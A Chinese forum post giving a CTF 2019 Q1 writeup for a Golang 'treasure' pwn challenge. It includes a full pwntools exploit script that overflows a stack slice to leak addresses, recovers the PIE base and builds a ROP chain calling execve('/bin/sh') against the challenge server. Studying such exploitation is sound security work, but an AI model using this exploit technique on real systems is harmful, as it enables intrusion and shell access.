首页
社区
课程
招聘
[原创] CTF2019Q1 第八题 挖宝 writeup
发表于: 2019-3-22 16:14 4260

[原创] CTF2019Q1 第八题 挖宝 writeup

2019-3-22 16:14
4260

google it: golang pwn

BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知:

Seccon2017 - Golang Overflow
得知:

保护全开,google 上的参考还是固定基址比较好做

使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析

runtime_slicebytetostring 的 参数是 slice 结构

通过 gdb 尝试得到栈结构

A*192 | slice->data | slice->len | slice->cap | B*72 | ret

我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)

linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)

 
 
 
struct slice
{
  char *data;
  __int64 len;
  __int64 cap;
};
from pwn import *
import itertools

p = remote("211.159.175.39", 8787)
# p = process("./trepwn")

def move(xd, yd):
    if xd == 1:
        m = "d"
    elif xd == -1:
        m = "a"
    elif yd == 1:
        m = "w"
    elif yd == -1:
        m = "s"

    p.sendline(m)

    msg = p.recvuntil(">>")
    if "Treasure 4" in msg:
        return True
    elif "Treasure" in msg:
        # 跳过 宝藏123
        p.sendline("skip")
        p.recvuntil(">>")

    return False

def play():
    # 遍历地图
    steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0),

        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1),
        (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1),
        (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)]

    # 通过 cycle 无限遍历地图直到 宝藏4
    for xd, yd in itertools.cycle(steps):
        if move(xd, yd):
            break

# golang 的栈基址
_stack = 0xC820000000

# walk 的 4个 返回偏移,w/s/a/d 4处调用
_rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036]
# syscall 利用偏移
_syscall_Syscall = 0x186600

import sys

def main():
    p.sendlineafter("name :\n", "/bin/sh")
    p.recvuntil(">>")

    # 玩第一次 泄露 输入的名称
    play()

    # 尝试 0xA000 -> 0xC000 的范围
    p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000))

    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]

    # _leak_name 为栈中地址
    idx_name = ret.index("/bin/sh\0")
    _leak_name = _stack + 0xA000 + idx_name
    print hex(_leak_name)

    # 玩第二次 泄露 返回地址
    play()

    # 尝试 0x41E00 -> 0x44E00
    p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000))

    ret = p.recvuntil(">>")
    idx = ret.find("Your message: ")
    ret = ret[idx + len("Your message: "):]

    idx_ret = ret.index("A"*192)
    idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72

    # 返回地址
    addr_ret = u64(ret[idx_ret: idx_ret+8])
    print hex(addr_ret)

    # 返回地址有4种,通过后3字节不变的原则来确定基址
    for r in _rets:
        if r&0xFFF == addr_ret&0xfff:
            base = addr_ret - r
            break

    print hex(base)

    # 最后玩一次输入 rop
    play()

    # slice->len 为 0就能跳过 runtime_slicebytetostring
    p.sendline("A"*200 + p64(0) + "B"*80 + \
        p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0))

    p.interactive()

main()
RELRO STACK CANARY NX PIE FILE
Full RELRO Canary found NX enabled PIE enabled apwn
  • golang 的 pwn 差不多都是栈溢出 rop
  • syscall_Syscall 是栈传参很容易利用
  • golang 的栈地址比较固定(0xC820000000)
  • 讲解了如何 pass runtime_slicebytetostring 函数
最后于 2019-3-22 16:14 被kkHAIKE编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//